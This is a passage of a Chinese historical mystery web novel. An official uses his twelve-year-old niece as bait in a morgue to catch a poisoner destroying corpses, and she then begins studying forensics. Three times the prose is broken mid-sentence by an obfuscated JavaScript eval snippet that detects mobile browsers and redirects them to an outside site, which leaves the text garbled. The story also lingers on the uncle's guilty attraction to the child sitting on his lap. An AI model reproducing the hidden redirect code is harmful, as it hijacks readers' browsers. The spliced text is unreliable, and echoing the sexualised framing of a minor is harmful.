崔承戟的话梗在喉间，张了半晌嘴，最后还是缄默其口。他此番将宝音移至靖州府衙，心底深处其实是希望宝音能在停尸房装尸体，勾那暗中凶手现身。只是他的这笼子话还未及说出口，宝音便说要学仵作之法，他顺水推舟请宝音帮忙“装死”，而验尸用毒这些他却模棱两可，既不答应，也不直接拒她。一来宝音如今正浸在榕度等人之死的悲哀中，实不必逆了她的心志，教她焦心；二来宝音今晨昏睡至醒来，口中常喃喃“长舌鬼”等字眼，只怕猝然拒了她，她又有心思想那“鬼”，反倒不利于宝音将养神思身体。 她是他们崔家的女儿，是他亡兄唯一的骨肉。他怎可能舍得让她去学那最低贱的仵作手艺？她合该明媚肆意，如春花一般，将琴棋书画、插花品茗学得熟稔，日后再无人欺她、嘲她。 当下崔承戟心中一番计较，那厢宝音已换好昨夜旧衣，早间刚梳好的发髻也被她扯了几缕碎发垂在颊边，宛然一副刚从火堆逃生模样。宝音垂头见衣裳大片大片血迹，蹙眉问道：“二叔，昨夜我未曾受伤，只手臂腿上燎了几个血泡，怎生这寝衣上这么多血？” 崔承戟抿唇：“皆是屠苏的。” 宝音心头一绞，忙攀住他手：“屠苏到底怎样了？” 崔承戟抬眸看窗外天色，就势挽她手：“天色尚早，宝音想不想去望望他？”宝音哪还有不愿的道理，她双眸透着焦切，只顾点头应允。崔承戟一壁取了氅衣披在她身上，一壁拉她往屠苏房里走：“昨夜赶到时，屠苏伏在你身上，替你挡火。此外，他身上还有两处刀伤，一处在腹部，一处在心口。” 宝音眉峰一跳，颤声：“那……他……岂不是……”她不敢再说下去，好像只要不说“死”字，屠苏便不会死似的。 “他伤得虽重，但幸好都不曾伤在致命处。苏郎中来瞧过，屠苏命大，他心长在左胸膛，故而还有得救。”崔承戟想起今晨苏郎中替屠苏清理伤口，敛了眸子细想伤口穴位，“这凶手每一刀都扎在要害处，想必是训练有素的死士。”一时他又想起救下宝音那夜意外突袭的刺客，那名刺客擎刀直直往马车冲将而去，仿佛知道宝音躲在里头似的。待崔承戟近前拦住，他又飞快扔出柳叶袖箭，却有故意避开要害，好像专程想让他活着受那毒发的煎熬，于痛苦中慢慢死去。 眨眼间二人已行至屠苏睡卧的客厢。微透的杏黄布幔后，隐隐约约露出屠苏的身体轮廓。他裸身睡在木床上，胸口、腹部及手臂处均用棉纱布包好，下身仅以一床薄被蔽体。 宝音鼻头酸涩，眼眶不自觉也红了。探出手想拨开床幔细细瞧他伤逝，却被崔承戟握住腕子：“莫打搅他了。”宝音含泪点头，恰一阵风自窗外而来，拂开床幔堪堪露出屠苏深皱的眉心。半幅床幔柔柔地拂过屠苏右臂，轻轻刮蹭着棉纱布裹好的伤处，屠苏自昏睡中忍不住溢出一声嘤咛。 崔承戟关了窗，回身却见宝音跪坐在床前踏板上，把脸埋在手里，指缝间滴出颗颗泪珠，啪嗒啪嗒在踏板上洇出粒粒圆珠。她两肩耸动，只发出极轻微的啜泣，似在极力抑制满腔悲情。崔承戟上前握住宝音肩头，和声慢气地：“放心，屠苏死不了。有二叔在，不会再有人离开宝音了。” 宝音将脸埋进崔承戟怀中，呜呜咽咽地抽泣：“是我对不住他们，是我害死了他们。” 崔承戟心头软了又软，他低声心道：我又何尝对不住你？对不住他们？可到底没有说，只搂着宝音抚背顺气。大抵活着的人总是愧疚，而亡者却可无牵无挂地把他们抛闪。只是从前崔承戟在大理寺待得久了，死亡是他司空见惯的事，他早已麻木。如今宝音来到他身边，单单是别人因她受伤，就能教她伤心愧疚好一阵子，崔承戟忽又对这个“死”字有了不一样的体悟。 他正想着如何出言宽慰宝音，怀中人却抖抖索索地抬头，咬住下唇尽力不使哭腔吵扰了床上休息的屠苏：“二叔，带我去停尸房吧。” 他忽然很不想宝音去了。 其实，他大可寻个与宝音差不多身形的女孩，替宝音躺在那儿。就算一时半会儿寻不到这样的女孩，靖州城露宿街头的那些花子里，总归有同宝音差不多体型的了，他何必让宝音再度涉险呢？ 只是低头望进宝音眼里，小姑娘覆了泪水的眸子直直射出一腔孤勇坚毅，她下了很大的决心，非但是今夜在停尸房装死，还有学习仵作之法、学习用毒之术。 她不要再做等人拯救的娇花儿了。 见崔承戟不言，宝音恳切求道：“二叔，我会保护好我自己的。何况有您和榕参在身边，万不会有事的。” 她当然不能再有事。宝音和崔承戟一齐心道。 崔承戟长叹口气，哑声：“好。”言罢，替宝音擦干眼泪，又为她抚背顺气，好一会子宝音才渐渐平息了。 停尸房内暗无天光，隐隐有腐臭熏鼻。宝音跟在崔承戟后头，甫一踏入此地半步，只觉得阴凉入骨，浑身浮起鸡皮疙瘩，脚步也不由得放缓。 崔承戟觉到身后宝音的悚惧，亦缓步转身，悄声问：“怕吗？”宝音摇头，攥拳紧两步追上二叔：“不怕。” 眼前置六床窄长桌案，其中五个皆有白布覆盖的尸体，剩下角落那个尚空着。崔承戟行至空桌案前，转身见宝音立在五床尸骨前，直着眼睛，抿唇不说话。他以为小姑娘眼眶又濡湿了，正欲出声安慰，宝音偏过脸：“不会再有人因我而死，因我受伤了。” “宝音……” 宝音已走近，指角落这张空桌：“我躺这里吗？” 崔承戟点点头。桌案略高，崔承戟两手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288184|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握在宝音腰间，一使力将她抱坐在桌案上。宝音手搭在崔承戟肩头，眸子却掠过他，盯住他身后五具尸体。他感觉到宝音搁在自己肩上的手微微颤抖，叹气：“若不行……” “一定行！”她急促打断他，哪怕心里已怕得要死。 怎能不怕呢？身后五具尸体，哪怕生前他们与她极亲近，此刻也只是无声地躺在那儿，任由一方白布盖住所有。 崔承戟自怀中掏出一只袖箭，仔细戴在宝音右手腕间：“虽说我与榕参皆在门外，但以防万一，倘若那人对你不利，就用这袖箭逼退他。只要你出声，我和榕参必定立时赶来。”他低头向宝音示意如何使用袖箭，待宝音点头后，才扯过她袖口将袖箭轻轻掩住。 宝音忽地指其中一具尸首，问：“那具身体，怎么看上去身量不高？” 崔承戟仍低头在替她理衣袖：“嗯。那是宋敏珠。” 宝音心头一惊，脑中又想起昨夜宋敏珠扣响雀音阁的情形，可现在她竟死了。这一切的一切，莫不透着诡异。宝音嘴唇翕动，想说什么，终究咽回去。她并不缅怀可怜宋敏珠，可一条鲜活生命就此在她眼前消失，那点因死亡带来的怅惘浮上心头。 不管是你喜欢的，还是你讨厌的，终有一天黄土白骨，归于无尽。 意识到这一点，宝音倏然抬眸，盯住二叔的脸，面如冠玉、眉目俊朗，可再好的皮囊，却也有沦为枯骨的那日。她感觉到无边的虚无。 崔承戟不知她心中悲情，还以为她是悲宋敏珠之死，捏捏她颊边肉：“宝音不是不喜欢她么？怎生还为得她红了眼圈？” 宝音偏头躲过去：“我在想，若有一天，二叔不在了……” 崔承戟不由笑出声：“若有一天，二叔不在了，宝音合该带着夫婿及孩子们跪在二叔灵前，生生叩满三个响头。否则二叔到地底下也不安心。”他神思也不禁驰荡，横竖这辈子他要为阿兄奔走一生，若死后宝音及她的郎婿、孩子能来祭拜，他也算死后有靠了。 宝音却偏了脸，蹙眉抿唇，她不爱听这话。崔承戟知她心里别扭，但到底也猜不出小姑娘家的玲珑心思，只好教她躺下，亲自替她盖上遮尸白布。那白布挡住宝音眉眼的前一瞬，他望见宝音睁着一双圆溜儿的潋滟杏眸，直直望着他，只望着他。 再怎么逞强，也还是个小女娘啊，世上只剩下他和父亲能依靠的小女娘。近年来父亲身体不豫，若有一日……那她只剩下他能依傍了。崔承戟在心中叹。 宝音躺在冰冷坚硬的木板上，身上只盖了一层薄薄的白布。不过几炷香的时间，她就感到身体酸麻，仿佛有无数只噬骨小虫在她身上又爬又咬。 她来此间时，不过黄昏时分，此刻孤身一人躺在这儿，仿佛已过了大半夜。宝音在心底掐着时间，不觉困意袭来。待朦朦胧胧地将要彻底睡下，她听见门从外推开的吱呀声。一时间气血逆流，宝音一颗心近乎提到嗓子眼儿，她屏息凝神，而心如鼓擂。 “崔承戟被刺史叫走问案子了，这会儿正是时候。你在外头守着。若有人来，立时学鸟叫。” 是两个人！ 20. 装死 白布下宝音绷紧脊背，屏息静听，忽觉其中一人声音颇为耳熟，可一时半会儿却也想不起是谁。门扉响动，似乎有一人离开，剩下一个矗在门前，细凝屋内陈设，既不出声，也不走动。宝音指尖死死掐住指腹嫩肉，阖目凝神，不敢发出一声响儿，更不敢乱动一下身。 等到门外再无半分响动，郑伯益才缓缓抬眸睁眼，细观屋内六具尸体。 共十人，仅死六人。郑伯益眯眼，厉芒尽显：“才死了六个啊。” 今晨小厮自雀音阁外回来，告他崔氏女死于火后，现已被崔承戟移送府衙准备验尸。他便知无论“崔氏女死于火后”的论断是真是假，今夜都得来一遭靖州府衙了。 死人无法开口，却能说话。昨夜他太自负，以为这火能烧灭雀音阁所有，便扬长而去，不曾想崔承戟提前回来，真让他救人出来。没有被火烧烂的尸身，必定会残留线索。如今唯有毁尸，才能教尸体们彻底闭嘴。 郑伯益躬身作了个揖：“诸位往生极乐，这厢得罪了。” 宝音咬牙闭眼，这暗哑声音似乎就在她耳畔。二叔说，凶手奸邪狡诈、心思缜密，须得在此人毁尸的刹那生擒住他，才算人赃俱获。可此刻他尚未动手，宝音已觉心跳如鼓擂，震彻整间停尸房。 瓷瓶开合的脆响刺破寂静，浓得化不开的酸腐气扑鼻而来，哪怕是隔着一层白布，宝音猝然闻见这腐味儿，恨不得立时呕出来。 一息之后却是似烧炭入水的滋滋声响。宝音愣了下，猛然惊觉他已开始毁尸。 “宋敏珠……”那暗哑声音再度响起，带着丝困惑，旋即冷笑出声，“看来那崔氏女——” 他转头盯住角落里那身量不足的尸体：“是在这儿啊。” 宝音心头一颤，那人分明是对着她说的。 她听着足音逼近，凝聚全身神思去感受右手的袖箭。只待他掀起遮蔽她的白布，宝音会立刻对准他面门射出袖箭。 当黑影遮住烛光，宝音觉到阴影覆在脸上，那人已站到她跟前。指尖叩击瓷瓶壁身的脆音就在耳畔。 倏然，距她不过几步之遥的墙壁发出异响，随着这声响动的是：“化尸水能腐蚀尸骨，当真是毁尸灭迹的不二之选。” 顷刻间崔承戟拔刀刺来，先一剑挑翻郑伯益攥捏瓷瓶的手腕，下一招式凌厉剑刃已直直横在他脖颈间。 电光火石间容不得郑伯益思考，他项上人头已被崔承戟捏在掌心。郑伯益嗤笑一声：“久闻崔少卿年仅二十，便已位及大理寺少卿。这番身手，实不负圣上看重。” 他笑如春风：“犹记得上回在郑府初见，少卿大人苦寻自家失踪女娘，如今可寻到否？” 脖间冷剑更逼近一分，崔承戟敛眸：“郑府庶子，生母卑贱。虽天资卓绝，奈何这出身教你处处比不得那嫡出公子郑伯约。” 郑伯益脸上笑意渐销：“与你何干！” “自本官来靖州第一日，这一切似乎都有人牵动着。是你吧？”崔承戟顿了顿，“故意给我下慢毒，想让我痛不欲生最终惨死客栈，是为了向你父郑浴证明自己？” “我家女孩儿失踪，郑伯约本想将人送到王蟠别院，是你教他送去青邙山下由王三吉兄弟看管。若我寻不到人，恰好遂了郑伯约王蟠等纨绔子的心愿。若我寻到人，大理寺进而查到青邙山里的腌臜事，岂不正好借我之手，助你拉郑伯约下水？” 郑伯益面色更沉，咬牙：“猜测而已，少卿大人有何证据？” “青邙村村民说，王三吉兄弟失踪前日，分明瞧见一玄色襕衫、打扮清贵的书生亲自登门拜访他二人。我想，郑伯约穷侈极奢，怎生就打扮清贵了？可要本官将人请来，亲自指认？” 三两句话彻底堵住郑伯益的嘴，他唇角翕动，张了半天嘴，最终冷哼笑出声：“堂堂大理寺少卿，光靠几个眼昏耳聋的村民就能断案么？” 崔承戟勾了唇瓣，未答他言，反是柔声道：“宝音，没事了。” 白布教人掀开，宝音支臂撑起身，胸脯起伏大口喘气。她与郑伯益四目相对，脱口骂道：“混蛋！” 杀害榕度等人，今番又来毁尸灭迹的混蛋！ 宝音低头见倒落在地的瓷瓶，其中无色水缓缓流出，烛光下似泛着荧荧幽光。而宋敏珠尸身的宝相花纹衣料上，已然灼出个拇指大的烧洞。 郑伯益显见得一怔，旋即了然失笑：“原来是瓮中捉鳖。可惜呐。”他仰头眯眼，似是志得意满地：“你那些卷宗，早已付于灰烬了。” “郑伯益。”崔承戟凝盯他这嚣张气焰，不怒反笑，“若你将这等恶毒心思放在考取功名上，保不齐此时已金殿对策，教你父郑浴另眼相待，更莫提你也会知道，大理寺公差在外，每隔三日需由官驿驰马传送文书入京封档勾检。” “你拼尽全力烧毁的卷宗奏折，早已送回京都城内。” 郑伯益眸光震颤，下唇抖了几抖：“你！” 未待其话完，屋门骤开，榕参押一布衣男子踉跄入内。宝音不由呆愣几息，顿声：“你……不是死了吗？” 逢保吐了口血痰，笑时唇齿粘着鲜血：“小姐这话，问得极蠢。” 榕参反剪逢保双手：“大人，如何处置这贼叛奴？” “一并收押入狱，今夜本官亲自审讯。”崔承戟手起刀落，擒住郑伯益双手反剪在身后。那厮吃痛，硬是咬牙不肯露出一丁点儿响，生生咽进喉咙。少顷衙役披甲入内，扣住郑伯益、逢保二人押往审讯房。崔承戟以帕拭手，吩咐榕参：“你且随他们去。那郑伯益极擅用毒，连榕度都折在他手上，当极仔细小心。” 待众人散去，停尸房只剩崔承戟及宝音二人。崔承戟抱宝音下床，无意碰到宝音浸了层薄汗的掌心，低头替她卸下右腕袖箭：“日后，不会再有这些事了。” 宝音按住袖箭：“我想留着它。” 崔承戟愣住，抬眸直直望进宝音眼里：“好。” “二叔，你怎知这郑伯益今晚会来？” 他扶着宝音跨过瓷瓶及地上水渍，推开窄门，二人并肩行在靖州府衙的长廊。冷月高悬，渡了层月华披在二人身上，夜风裹了远处山寺的佛香扑进宝音怀中，吹起轻薄春衫，三月的料峭寒意丝丝入骨。她拧了拧眉，人也瑟缩了些。 下一瞬，足够裹得住两个宝音的氅衣披在她肩头，崔承戟矮身替她系紧兜帽：“仵作之术，冷灶难温，世间通晓者寥寥，往往三五个州县，才养得起零星几个正经仵作。郑伯益既然出身靖州世家，他要研习验尸之法，只能是暗中修习，避人耳目。纵然是他身边的小厮长随，恐怕也只当他是摆弄些医书药典。故此，今宵他要毁尸灭迹，只能亲自来此。” 宝音略蹙了眉：“但凡有人命官司，若衙役捕快连个蛛丝马迹都寻不着，少不得叫仵作来验看尸首查明线索。这般要紧的营生，何故这样少人传习？” 待将宝音裹得严严实实，崔承戟才稍稍满意，只是刚错开眸子，便见氅衣拖在地上，像那曳尾的鱼儿。宝音亦发现自己身量不足，教二叔大氅坠在地上，忙伸手抱起氅衣拢在怀里，露出两只冷得有些发青的脚踝来。崔承戟皱皱眉，不悦：“这样不冷？” 未待宝音回答，崔承戟已屈腿将她打横抱在怀里，低头见月色下她露在外头冷白的肌肤：“自己拢好衣服，莫再受寒了。” 宝音依言拢衣盖好，朝二叔怀中靠了靠，轻声：“二叔，你还没有回答我。” 头顶那人轻轻笑开：“宝音还在想着学那验尸之法么？” “自然。” “这是样折寿的营生，正经书香门第，哪家肯让子孙整日摆弄腐尸的？”崔承戟声音愈轻，“你看那郑伯益，不也是掩人耳目偷偷学的？” “可二叔也会验尸。” “我是大理寺少卿，自然得会。” 宝音不依不饶：“那是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298970|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入大理寺之前会的，还是入大理寺之后会的？” 崔承戟脚步一顿，嘴巴张了半天，终于怅声道：“我验的第一具尸体，不是别人，正是阿兄。”他补充道：“宝音的父亲。” 宝音几乎要从他怀中坐起来，她感受到二叔抱着她的手倏然使劲，扣住她的臂膀，隐隐发力，似乎在压抑着什么。 “阿耶不是城破自刎而亡的吗？” “是的。我只是，有些不甘心罢了。” “不甘心什么？”宝音追上话。 崔承戟轻笑，转了话锋：“宝音，凡大燕仵作皆入官府籍册。据二叔所知，整个大燕目前共有仵作二三十名，且皆为男性。漫说是宝音这样豆蔻年华的小女娘想成为仵作，就是当初让榕度学习验尸，最初那一个月，他见到尸体也总要念几遍往生咒。” 宝音见他对阿耶之死含糊其辞，直直盯着他眸子，两人四目相对，谁也不肯低头。只是宝音唇角渐渐下弯，鼻尖莫名一酸，趴在他肩头不肯说一句话。 崔承戟忙问：“怎么了？” 宝音一口气喷在他颈间，又偏过脸，不愿理他。 崔承戟只得软了声音再问：“宝音怎么了？” 那厢小姑娘涩涩的声音终于传来：“二叔说了这许多话，既不愿我学习仵作之术，又瞒我阿耶的事。” “二叔只是觉得，宝音还小……” 宝音忙追上话：“那何时才算不小呢？请二叔明示。” 那头却不说话了，只留下一声微不可察的叹息。崔承戟抱着宝音，行过蜿蜒曲折的长廊，终于走到宝音下榻的客厢。他拉开两道明障子，却发现怀中女娘不知何时伸了臂膀勾住他脖颈，不肯撒手。 “到了。”他一口气喷在宝音后脖颈。 宝音摇摇头：“二叔好没意思，不让我学验尸，不告诉我阿耶的事，现在，连话也不肯与我说。” “宝音，”他肃声，“俗话言，宁教孩儿耍把式，不让指头沾尸气。若你阿耶阿娘在世，想必也不愿你沾染仵作尸气。更何况如今郑伯益已被抓住，靖州的事大抵算了了。等案子一销，我携你回京都，再不会有这等杀戮之事。到时候，二叔请宫中经年的教引嬷嬷亲自教导宝音，宝音不喜欢吗？” “不喜欢。”宝音错开眼，直勾勾盯住地板，“榕度他们永远留在这儿了，阿耶阿娘永远留在七年前了。” 崔承戟彻底哑口，抱住宝音的手一时呆住。这句话戳中他的痛脚，崔承戟虽教人称为冷面阎罗、无心判官，实则恨见人死，更恨身边人因他之故而死。 他呆了的这片刻时间，宝音伏在他肩头，只觉得心口乱跳，担忧着这句话会不会惹二叔厌烦，从此他再不理她。正当她要开口婉言道歉之际，头顶传来二叔的声音： “当年阿兄奉命守城，北蛮强攻数日不下，粮草危急，而朝廷拨的三路军需迟迟未到。我一直在查当年扣押粮草援兵的隐故。” 他长叹：“如果宝音执意想学，明日我教榕参送几本医书药典并人骨图谱来。宝音先熟读了这些，才算半只脚踏进仵作这行当的门。” “真的？”宝音从他肩头抬起上半身，尾音微微上扬，“我一定看完！” “现在肯下来了吗？”崔承戟失笑道。 宝音松手，乖觉立在地面，解了氅衣双手捧给崔承戟：“多谢二叔。” “早些睡。”崔承戟接过氅衣，“明日会有新的婢女来伺候你。” 崔承戟转身离开。宝音目光追随二叔落寞孤寥背影，待房门推开，月光如碎银般陡然泻了一地，宝音忙唤住崔承戟：“二叔！我叫阿满，满月的满。” “自阿耶阿娘死后，再没有人叫我阿满了。我都快忘了，我是生在满月夜的。” 崔承戟没有转身，只伫在门前，良久道一句：“好，阿满。” 宝音扶着明障子迟迟不肯关上，直到二叔背影匆匆消融于夜色。 21. 绣条 天色蒙蒙亮时，宝音已从梦中醒转。 此地为靖州府衙的客厢，总共十余间，都教崔承戟、崔宝音及其部下占了去，养伤休憩。既方便崔承戟审讯在押犯人，又让宝音等人在他目力所及之处，以便庇护。 新来的婢女名唤绣条，瘦长个子，尖尖脸蛋，穿一身半旧的湖蓝衣裳，今早榕参刚从牙子手上买来的。见了宝音，绣条福身行礼，声音平稳和缓：“奴婢绣条见过宝音小姐。” 崔承戟坐在圈椅内，屈指为枕，细瞧时可见他眼下青黑。昨夜他审了大半夜，前因后果已大部分讨明白了，如今只剩下青邙山的一些惑尚未解开。他指腹摩挲着腰间玉佩的络子，声韵懒懒：“绣条家人从前在本地开一间药铺，绣条对药理也极为熟悉，日后由她做些药膳，也好为你调理身体。” 宝音捻着衣角，瞧上去兴致不高，只点点头道：“好。” 崔承戟顿了顿：“宝音，绣条第一次拜见你，你当如何？” 宝音一愣，抬头望向二叔，过了几息才反应过来他的意思。她忙从妆台上雕花木匣内取出一枚竹节纹玉簪，行至绣条跟前，将簪子稳稳插入绣条水光滑溜的小髻里，勉力扬起笑意：“绣条，今后你跟着我，我……” 从前在宋府时，两位舅妈鲜少带宝音应酬宾客、管理后宅，那些妇人之间场面上的话，宝音是一概不知、一概不会的。故而此刻见了绣条，宝音心知崔承戟有意练她，但到底还是露了怯，当下咬唇道：“麻烦你了。” 话落，宝音便知自己说的不好，忙去望崔承戟脸色，果见他拧着长眉，薄唇抿作线。绣条也是怔然，但面上挽了朵浅淡的笑靥：“奴婢多谢小姐恩赐。” 崔承戟摆手示意绣条退下：“你且下去，将小姐的早膳、药都备好。” 绣条忙福身告退。等她走了好一会子，宝音心知自己没做好，不敢去看崔承戟。可那厢一点子声响都没有，宝音心里又发怵，抬眸偷觑，崔承戟靠在梨木圈椅内额，手指有一搭没一搭地勾着那玄黑色的吊坠流苏，定定地望宝音。 宝音像突然被火燎了一般，绞着手走近：“对不住，二叔……” 崔承戟却笑了，拉她坐在自己腿上：“阿满有何错？” 骤然听二叔主动唤自己阿满，宝音恨不能变为枝头玉蝶，于百花堆里翻飞起舞。她唇瓣软了又软，不经意地向上扬起：“我不该那样说的。”她细细拧了眉：“可我也不知该如何说，从前没人教过我。” 从前没人教过她，所以一切都需要重头来过、重头开始学。崔承戟忽然觉得宝音就像一盏素白的六角宫灯，灯罩上留待作画。 他一把攥住玉坠及流苏，捏在掌心：“御下之术，当恩威并施，先给小惠，在严辞约束。方才绣条拜见你，你予她玉簪，这是恩。可绣条来历不明，身份不明，待你的心意更是不明，若无约束，她见你性软可欺，日后欺负了你，该当如何？” “她是二叔给的，怎会欺我？” 崔承戟敛了笑：“就算是我给你找的，你便不留心了么？逢保领了我三年月俸，临了了不还是教那郑伯益收买？人心最是难测。何况绣条并非我崔家家生奴仆，人牙子卖她时说她身世清白，父母本在靖州经营药铺，只是五年前她父亲重病，这才穷下来。她既是靖州本地人，少不得从前与郑家、王家，乃至你外祖宋家有过勾连。虽不至于害你，但平日里懒惰懈怠，也未可知。” 一番话听得宝音似懂非懂，忍不住反问：“那二叔何必要她来？等贞杏好了，再来伺候我，不也合宜？” 崔承戟抬手替她绾了垂在耳边的碎发：“宝音一个人若能照顾得好自己——”他轻笑着：“怎生这鬓松钗亸？” 话毕，崔承戟的手猛然僵住，耳垂倏然红了。他本意是想说宝音每日自己梳头，非但麻烦，而且发髻松、钗环垂，合该由婢女伺候。可他信口说来，竟忘了这“鬓松钗亸”本是句艳词.淫.语，非但唐突了宝音，他一个做叔父的，同自家侄女说这样的话，实在是天底下第一等的呕心下流之人。 再一垂眸，宝音正坐在他大腿上，两脚悬空前后轻轻摇晃。此刻宝音睁着双潋滟眸子，眼色清明毫不设防，直直地望他这番异样表情，声音脆泠泠的：“二叔怎么脸红了？” 崔承戟倏然收回手，那几缕青丝便飘飘悠悠地垂下，落在宝音耳后，松松散散搭在肩头。 宝音捻了青丝一边往髻上绾，一边蹙眉困惑问：“怎么了，二叔？” 这声“二叔”唤得当真刺耳，霎那间照出他置身泥沼的卑劣与狼藉，而她却是一泓碧泉上的皎皎明月，观音般将淡白光华渡至他身。 “没什么。”他声音有些暗哑，“起来。” 宝音少见二叔这样，此刻愣愣起身，绞着几根葱白样的纤长手指，娉娉婷婷地立在他面前，有些局促地望他。 崔承戟霍然起身，理了理衣前褶皱，肃声：“日后若再有婢女奴仆初次拜见你，先赏些银两钗环，不能太多了，那显得你好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308273|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿捏，连奴才也讨好；但也不能太少，显得你出手穷酸小气，不是名门望族之像。今日赏给绣条的就很好。然后便是言语敲打，比方说绣条拜见你，你得让她知晓，从前无论如何，那都是从前了。往后的日子跟着你，别的不必再想、不必再论，只要一心待你，非但你宽待她，连二叔也要赏她的。若像那起子心思不干净的，二叔是大理寺少卿，最有磨人的法子，惹恼了二叔，连你也不好开口求情。” “总之，有什么不好意思讲的未尽之意，尽管搬二叔出来，明白吗？” 随崔承戟的话，宝音心思渐渐清明，她仰头望二叔，待他话落，宝音追上话：“所以，我方才应当说：‘这枚竹节玉簪权作见面礼。日后在我跟前，免不了辛劳，只要你尽心、忠心，莫论是我，二叔也有赏赐的。可若是不忠，那我也没法子了。头一件，二叔眼里就容不得沙子。从前那逢保，就是旧例。’” 崔承戟满意点头：“很好。”他瞟了眼天色：“今日前头审案，是时候了。宝音若有事，派人去前头先寻榕参、榕平。” “二叔这就要走？”宝音叫住他。 崔承戟住了步子，回头望她凝眸不语。他还在为方才的龌龊心思含愧，这会子恨不得立时离开。 宝音攥住他袖口，不许他走：“书呢？” 崔承戟豁然明了，她是在说昨夜他亲口承诺的“医书药典并人骨图谱”。他不由轻笑：“怪道今早起见小宝音，宝音就好像不大乐意似的。” “二叔说好的。可今早只领了绣条来。” “待会儿你自去我屋里，瞧瞧书案上是什么。”他一壁说，一壁不动声色地推开宝音攥他袖子的手，“本想晚点再送来，让你多歇会眼睛。” 宝音此刻一心想着研习验尸之法，自然也不在意崔承戟故意挣脱她手。她虽依恋崔承戟，但也不过是失亲孤女对亲人长辈的依恋，更何况她才满十二岁，孩子心性还未褪全，故此丝毫看不透才刚崔承戟的怪样，只觉得运筹帷幄如少卿二叔竟也有如此别扭拧巴的模样，实实有趣。 待崔承戟走后不久，绣条端着药与早膳进来。不过是几样精致小菜，宝音本想叫绣条一道用膳，心头忽而浮起二叔的话，生生把那番话咽进肚里。 待宝音用完膳，又唤崔承戟屋中伺候的小厮取来重重一大摞医书药典和卷在最上头的人骨图谱。绣条站在一旁不禁纳罕，宝音更是张了半天嘴，唇角翕动说不出一句话。这一摞医书药典，其高足有宝音小臂长了。 22. 看望 宝音将午后光阴花在阅读医书上，其间绣条安静规矩地坐一旁，擎了绣绷子细心刺绣。宝音自书中抻了个圆圆的懒腰，瞟见绣条行止沉稳，乃至于呆板寂寞，不由问她：“绣条，你这些针线是做给自己的？” 绣条忙搁下绣绷子，矮身就要行礼告罪。宝音不解，拉绣条起身，蹙眉道：“好好的，你有什么罪？”那厢绣条就着宝音的力起身，眼眶已浅浅红了一圈，说话声也滞涩得紧：“我如今是小姐身边的婢女，合该事事以小姐为先。可这些针线，并不是做给小姐的。” 宝音更是不懂了，但见她这般泫然欲泣的模样，反握其手，拉着她一起坐到罗汉床边，展颜笑道：“那有什么？你给你自己做，也是人之常情。” 绣条绞着衣角摇头：“这不是为奴婢做的。”她顿了顿，终是咬牙道：“是给我阿兄的。” 宝音“啊”了一声，尾调微微上扬。 “我本不是阿耶阿娘的女儿，更不是阿兄的妹妹。那年冬雪甚巨，村中冻死了好多人，我家穷，爹娘都死了，只剩下我一个还在襁褓里。是阿耶阿娘心善收留了我。他们待我如亲生女儿，凡阿兄有的，皆有我一份。药铺里抓方称药的活计，也不避讳我，手把手地教我。那光景铺面生意红火，阿耶阿娘甚至预备在城东盘下新铺面，再开一间药铺，日后一间留给阿兄，一间留给我。直到五年前，阿耶害了痨症，银钱跟泼水似的往外面洒，这才渐渐穷下来。三年前，阿娘操持家中里外大小事物累伤了身子，咳了三个月血就匆匆下世了。这两年实在没法子，家中又要吃饭，阿耶又要吃药，全仗着阿兄去码头上背漕粮抗麻包，才换些铜子儿维持生计。” 她掏出怀中绢帕按了按眼角，那帕子上立时洇出一个深深的圆：“奴婢听说小姐是京都人，不日便要随少卿大人回京。奴婢如今是伺候小姐的，少不得也要跟了小姐去。这一去山高水远，家里只剩下阿耶拖着病身子，阿兄还在码头上卖死力，也不知他们来日怎样。只好做些针线留下，权当是我还伴在他们身边，还在灶下熬药，还在屋头缝补，还是阿耶的女儿、阿兄的妹妹。” 言及此处，莫论是绣条伤心动情，连宝音也不觉酸了鼻尖，她正要出言安慰，外头先自响起一阵熙熙攘攘的声音。二人抻头掠过格子窗一瞧，原是崔承戟自前头审案回来了，榕参等私卫、还有几个衙役跟着他，无不张了嘴角，似乎在争吵辩驳着什么。绣条忙拭干净眼泪，起身理理衣裳褶皱，却见宝音眼圈也红着，绣条叹道：“小姐身体本就不好，何必为我伤心劳神。” 正说话间，猩红毡帘由人挑起。崔承戟穿着蓝雀补子踏进来，官袍下摆散着丝丝铁锈味，他只行了半步就停住，堪堪驻足在门前三寸地界，似乎是刻意与宝音留了好几步脚程的距离。 见宝音坐在罗汉床上，眼前几案上摊着早间榕平寻来的医术，崔承戟眉头略蹙了蹙，但到底没说什么。 宝音吩咐着：“绣条，给二叔看茶。” 